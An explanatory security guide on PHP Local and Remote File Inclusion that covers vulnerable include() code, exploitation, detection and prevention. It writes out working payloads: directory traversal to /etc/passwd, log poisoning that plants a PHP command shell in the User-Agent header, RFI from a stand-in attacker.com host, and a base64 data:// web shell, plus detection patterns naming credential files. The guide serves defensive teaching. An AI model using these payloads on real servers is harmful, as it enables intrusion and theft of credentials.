Local File Inclusion (LFI) and Remote File Inclusion (RFI) are critical vulnerabilities that can severely compromise web applications. By understanding how these attacks function, security professionals and developers can implement robust defenses to protect their servers.
This guide breaks down the technical mechanics of LFI and RFI, how attackers escalate these vulnerabilities to Remote Code Execution (RCE), and the most effective strategies for detection and prevention.

What is Local File Inclusion (LFI)?

LFI occurs when an attacker forces the web application to expose or execute a file that already exists on the local server.

Vulnerable Code Example:

Consider a PHP application that loads different pages using a page parameter.

<?php

$page = $_GET[page];

include($page);

?>

 

1. $_GET[‘page’]

$page = $_GET[page];

 

$_GET is a superglobal array in PHP.

It stores parameters passed via the URL query string.

For example:

http://example.com/index.php?page=home.php

 

In this request:

$_GET[page] = home.php“;

 

The value of the page parameter is taken directly from the URL and assigned to the variable $page.

Important detail:
There is no validation or filtering applied to this input. This means:

Any string provided by the user will be accepted.

The application assumes the input is safe.

2. include($page)

include($page);

 

include() is a PHP function used to load and execute a file.

It takes a file path as input and:

1. Locates the file on the server
2. Reads its contents
3. Executes it as PHP code (if it contains PHP)

3. Normal Execution Flow

If a legitimate user sends:

?page=home.php

 

Then:

$page = home.php“;

include(home.php);

 

The server:

1. Looks for home.php in the current directory
2. Loads and executes it
3. Outputs the result to the browser

4. Where the Vulnerability Occurs

The vulnerability exists because:

1. The value of $page is fully controlled by the user.
2. There is no restriction on what file can be included.

This allows an attacker to manipulate the file path.

Local File Inclusion (LFI) Exploitation via Directory Traversal

Attackers exploit LFI by manipulating the file path using directory traversal sequences. By passing strings like ../../../../etc/passwd into the vulnerable parameter, the underlying operating system resolves the path by moving up directory levels until it hits the root, eventually outputting the targeted file.

Because the include() function outputs file content, the contents of sensitive files (like /etc/passwd, application configuration files, or database credentials) are read and sent directly to the attacker’s browser.

When an attacker manipulates the page parameter to perform directory traversal, the following sequence occurs at the OS level:

Malicious Request:

http://example.com/index.php?page=../../../../etc/passwd

 

Step-by-Step Execution

  1. Attacker Input: ?page=../../../../etc/passwd
  2. Variable Assignment: $page becomes the string ../../../../etc/passwd.
  3. Path Normalization: The include() function passes this string to the underlying operating system’s file system API (e.g., open() on Linux).
  4. Traversal Logic:
    • Assume the web root is /var/www/html/.
    • The OS resolves the path: /var/www/html/../../../../etc/passwd.
    • Each ../ means “move one directory up”:
      • html/.. à /var/www/
      • www/.. à /var/
      • var/.. à / (Root)
      • The final result is /etc/passwd.
  5. Information Disclosure: Since /etc/passwd is a text file, PHP reads the contents and prints them to the browser.

Output to Browser:

1. The contents of /etc/passwd are read.
2. Since include() outputs file content, it is sent to the browser.

Example output:

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

 

Local File Inclusion (LFI) is highly dangerous because it grants an attacker the ability to read sensitive files on a server. By exploiting this vulnerability, malicious actors can easily access critical system information, such as the /etc/passwd file , internal application configuration files , and hidden database credentials.

How the Attacker Knows How Many ../ Are Needed

This is not guessed perfectly in one attempt. Attackers determine it using systematic testing and observation.

Method 1: Trial and Error (Incremental Traversal)

The attacker gradually increases the number of ../:

?page=../etc/passwd

?page=../../etc/passwd

?page=../../../etc/passwd

?page=../../../../etc/passwd

 

They observe the server response each time.

Method 2: Over-Traversal (Important Technique)

Attackers often don’t need the exact number.

They use excessive traversal:

?page=../../../../../../../../../../etc/passwd

 

Why this works:

  • Filesystems ignore extra ../ once root (/) is reached
  • So even if too many are used, it still resolves correctly

This is called over-traversal.

Escalating Local File Inclusion (LFI) to Remote Code Execution (RCE) via Log Poisoning

The process of turning a Local File Inclusion (LFI) vulnerability into Remote Code Execution (RCE) via log files is known as Log Poisoning. This technique bypasses the limitation of LFI (which normally only reads local files) by “poisoning” a system log with executable code and then forcing the server to parse that log file.

Although LFI itself typically reads files, it can lead to execution through:

Log File Inclusion

  • Inject PHP code into logs
  • Include the log file

Phase 1: The Injection (Poisoning the Log)

In this phase, the attacker’s goal is to get a “malicious script” saved onto the server’s hard drive. Since the attacker can’t upload a file directly, they trick the server into writing the script into its own logs.

Web servers like Apache or Nginx maintain access logs that record details about every incoming HTTP request. These logs typically include the IP address, the request line (GET/POST path), the status code, and the User-Agent string.

The Mechanism

An attacker sends a specially crafted HTTP request to the server. Instead of a standard browser string, the attacker replaces the User-Agent header with PHP code.

Malicious Request:

GET /index.php HTTP/1.1

Host: example.com

UserAgent: <?php system($_GET[cmd]); ?>

 

What happens on the server:

  1. The web server receives the request.
  2. The logging module (e.g., mod_log_config in Apache) extracts the User-Agent string.
  3. The string <?php system($_GET[‘cmd’]); ?> is written directly into the access.log file.

Phase 2: The Inclusion (Triggering the Execution)

Now that the log file contains PHP code, the attacker uses the existing LFI vulnerability to include that log file.

The Mechanism

Attacker uses the vulnerable page parameter to point to the log file they just poisoned.

The attacker must know (or guess) the absolute path to the log file on the server. Common locations include:

  • Apache (Linux): /var/log/apache2/access.log
  • Nginx (Linux): /var/log/nginx/access.log
  • Apache (Windows/XAMPP): C:\xampp\apache\logs\access.log

Malicious URL:

http://example.com/index.php?page=../../../../var/log/apache2/access.log&cmd=whoami

 

Runtime Execution:

  1. Variable Assignment: $page is set to ../../../../var/log/apache2/access.log.
  2. The include() Call: The PHP engine executes include(“/var/log/apache2/access.log”).
  3. Parsing: The PHP interpreter begins reading the log file line by line.
  4. Code Hit: When it reaches the entry containing the poisoned User-Agent, it sees the PHP tags <?php … ?>.
  5. Execution: The interpreter stops treating the log as plain text and executes the code inside the tags.
  6. Command Processing: The system() function looks for the cmd parameter in the URL. It finds cmd=whoami.
  7. Output: The server executes whoami on the underlying OS and embeds the result (e.g., www-data) into the HTTP response.

Critical Requirements for Success

For this attack to work, several technical conditions must be met:

Condition

Requirement

Log Permissions

The user running the web service (e.g., www-data or apache) must have Read permissions for the log file. By default, many systems restrict log access to root or adm groups.

Path Discovery

The attacker must correctly identify the server’s log file path. This is often done through “fuzzing” common paths.

No PHP Encoding

The log must store the raw PHP tags. If the server HTML-encodes the logs (e.g., converting < to &lt;), the PHP interpreter will not recognize the code tags.

Direct Input

The injected header (User-Agent, Referer, etc.) must be one that the server actually writes to the log file being included.

 

What is Remote File Inclusion (RFI)?

Exploitation Mechanics: Remote File Inclusion (RFI)

Remote File Inclusion (RFI) is a vulnerability where the application includes a file from an external server (remote URL).

This typically occurs when:

  • User input is used in file inclusion
  • Remote file inclusion is enabled (e.g., allow_url_include = On in PHP)

RFI occurs when the application is configured to allow the inclusion of files via protocols like HTTP or FTP. This allows an attacker to supply a URL pointing to a malicious file hosted on their own server, which the vulnerable application then retrieves and executes. As a result, RFI typically leads directly to remote code execution (RCE) on the target server.

Technical Sequence

  1. Attacker Input: ?page=http://attacker.com/malicious.txt
  2. Stream Handling: PHP identifies the http:// protocol wrapper. It initiates a new HTTP GET request to attacker.com to retrieve the contents of malicious.txt.
  3. Content Injection: Suppose malicious.txt contains:

<?php echo shell_exec(‘whoami‘); ?>

 

4. Remote Code Execution (RCE): The PHP engine on the vulnerable server receives this text and, because it is inside the include() function, it executes the code. The whoami command runs with the permissions of the web server user (e.g., www-data).

1. The Prerequisite: PHP Configuration

For RFI to be possible in a PHP environment, two specific directives must be enabled in the php.ini file. Most modern PHP installations have these disabled by default for security.

Directive

Required Setting

Description

allow_url_fopen

On

Allows PHP’s file functions to access URLs as if they were local files.

allow_url_include

On

Specifically allows the include, include_once, require, and require_once functions to use URL-aware wrappers.

 

2. Technical Attack Sequence

Using the standard vulnerable snippet:

<?php

    $page = $_GET[page];

    include($page);

?>

 

Step 1: Input Assignment and Protocol Identification

The attacker provides a full URI as the parameter value:
?page=http://attacker.com/malicious.txt

The PHP interpreter assigns the string http://attacker.com/malicious.txt to the $page variable. When include($page) is called, the PHP engine identifies the http:// prefix. This triggers the HTTP Stream Wrapper.

Step 2: The Outbound Network Request

Instead of looking at the local disk, the vulnerable server acts as an HTTP client. It initiates a GET request to the attacker’s server:

GET /malicious.txt HTTP/1.1

Host: attacker.com

Step 3: Content Retrieval (The “Plain Text” Requirement)

This is a critical technical detail: The attacker’s server must not execute the malicious script itself. It must serve the script as plain text.

  • If the attacker saves the file as shell.php, their own server might execute it.
  • If the attacker saves it as shell.txt, their server sends the raw source code back to the victim server.

Response from Attacker Server:

HTTP/1.1 200 OK

ContentType: text/plain

 

<?php echo User: . system(whoami); ?>

 

Step 4: Inclusion and Parsing

The vulnerable server receives this raw text. Because it is inside an include() function, the PHP interpreter processes the content. It sees the <?php tags and immediately switches from “read mode” to “execute mode.”

Step 5: Remote Code Execution (RCE)

The code system(‘whoami’) is executed on the vulnerable server, using the permissions of the web server’s process (e.g., www-data or apache).

Resulting Output rendered to the attacker’s browser: User: www-data

3. Advanced Stream Wrappers

RFI is not limited to http://. Attackers can use various PHP wrappers to bypass basic filters or deliver payloads:

  • https://: Used if the server blocks unencrypted outbound traffic.
  • ftp://: Used if the server’s firewall allows FTP but blocks HTTP.
  • data://: This allows the attacker to embed the code directly in the URL without needing an external server.
    • Payload: ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
    • Result: The base64 decodes to <?php system($_GET[‘cmd’]); ?>, which is executed immediately.

4. Key Differences in Execution Context

It is vital to understand where the code is processed. In an RFI attack, there are three distinct roles:

  1. Attacker’s Browser: Receives the final HTML output.
  2. Attacker’s Server: Hosts the malicious text file; it does not execute the code.
  3. Vulnerable Server: Fetches the text, treats it as its own source code, and executes it.

[!IMPORTANT] Because the code runs in the context of the vulnerable server, it has access to all local files (like config.php containing database credentials), internal network resources, and environmental variables belonging to the victim.

Detecting LFI & RFI Attacks

Detection should occur at three primary levels: Network/WAF, Application, and Log Analysis.

A. Input Inspection & Pattern Matching

The most common indicator of an LFI/RFI attempt is the presence of specific characters or strings within URL parameters or POST data.

  • Directory Traversal Sequences: Look for variations of ../ or ..\. Attackers may use encoding to bypass basic filters:
    • URL Encoding: %2e%2e%2f (../)
    • Double Encoding: %252e%252e%252f (../)
    • Null Bytes: %00 (Used in older PHP versions to terminate a string and bypass extension appending).
  • Protocol Wrappers (RFI focus): Monitor for URI schemes indicating an external fetch:
    • http://, https://, ftp://, smb://
    • PHP Wrappers: php://filter, php://input, data://, expect://.

B. Monitoring for Sensitive File Access

Knowing what attackers are looking for allows you to set specific alerts. If a request contains a path to a system configuration file, it is almost certainly malicious.

OS

Common LFI Target Files

Linux

/etc/passwd, /etc/shadow, /etc/issue, /var/log/apache2/access.log, ~/.ssh/id_rsa

Windows

C:\Windows\win.ini, C:\Windows\System32\drivers\etc\hosts, C:\boot.ini

 

C. Log Analysis & Behavioral Detection

Reviewing web server access logs is crucial for identifying automated scanners or persistent attackers.

  • Status Codes: Look for a high volume of 404 Not Found or 403 Forbidden errors followed by a 200 OK on a sensitive file path. This indicates a directory traversal “fuzzing” attempt was successful.
  • Log Poisoning Attempts: Search logs for PHP tags (<?php) or shell command strings inside unusual headers like User-Agent, Referer, or Cookie.

How to Prevent LFI & RFI?

1. Environment Hardening (PHP Configuration)

The first line of defense is at the server configuration level. By disabling certain features, you can eliminate RFI and mitigate the impact of LFI.

Disable Remote Inclusions

In your php.ini file, ensure the following settings are applied:

  • allow_url_include = Off: This prevents the include, require, include_once, and require_once functions from accepting URLs as paths. This effectively disables RFI.
  • allow_url_fopen = Off: This prevents PHP from accessing URLs through file functions like file_get_contents().
  • open_basedir: This directive limits the files that PHP can access to a specific directory tree (e.g., /var/www/html/). Even if an LFI vulnerability exists, the attacker cannot traverse to sensitive system files like /etc/passwd.

2. Secure Implementation: Allowlisting

The most secure way to handle dynamic content is to use an Allowlist. Instead of accepting any string from the user, you only accept specific, pre-defined values.

Vulnerable Approach (Review)

// Dangerous: Accepts any string from the user

include($_GET[page] . .php);

 

Secure Approach (Allowlist)

$page = $_GET[page];

 

// Define exactly which files are allowed to be loaded

$allowed_pages = [home‘, about‘, contact‘, services];

 

if (in_array($page, $allowed_pages)) {

    include($page . .php);

} else {

    // Fallback to a safe default page or show a 404

    include(home.php);

}

 

3. Indirect File Referencing (Mapping)

Instead of using filenames in the URL, use identifiers (like integers or keys) that map to actual filenames on the server side. This completely decouples the user input from the filesystem.

Example: ID Mapping

  1. The URL uses an ID: http://example.com/index.php?id=1
  2. The server maps that ID to a file:

$page_id = (int)$_GET[id];

 

$page_map = [

    1 => home.php‘,

    2 => about.php‘,

    3 => contact.php

];

 

if (isset($page_map[$page_id])) {

    include($page_map[$page_id]);

} else {

    die(Invalid page ID.);

}

 

4. Input Sanitization and Validation

If you must allow user-defined strings, you must strictly validate the input to ensure it contains only the expected characters (e.g., alphanumeric) and does not contain traversal sequences.

  • Pathname Validation: Use the basename() function to strip directory information and return only the filename component.
  • Pattern Matching: Use regular expressions to ensure the input matches your expected format.

Example: Sanitization

$page = $_GET[page];

 

// 1. Remove anything that isn’t a lowercase letter or number

$page = preg_replace(/[^a-z0-9]/‘, ”, $page);

 

// 2. Use basename to ensure no path traversal is possible

$page = basename($page);

 

if (file_exists(pages/ . $page . .php)) {

    include(pages/ . $page . .php);

}

 

Use basename(): This function strips out all directory information, leaving only the filename.

  • Input: ../../../../etc/passwd à Output: passwd

5. Filesystem and OS Level Security

Hardening the operating system environment reduces the “blast radius” if an inclusion vulnerability is exploited.

  • Least Privilege: Run the web server (e.g., Apache, Nginx) as a non-privileged user (like www-data). This user should not have read access to sensitive system logs or configuration files.
  • Read-Only Permissions: Ensure the web application files are read-only for the web server user, preventing an attacker from using LFI/RFI to overwrite existing code.
  • Chroot Jail / Containerization: Run the application inside a container (like Docker) or a chroot jail. This isolates the application from the host’s root filesystem, preventing /etc/passwd from even being visible to the application.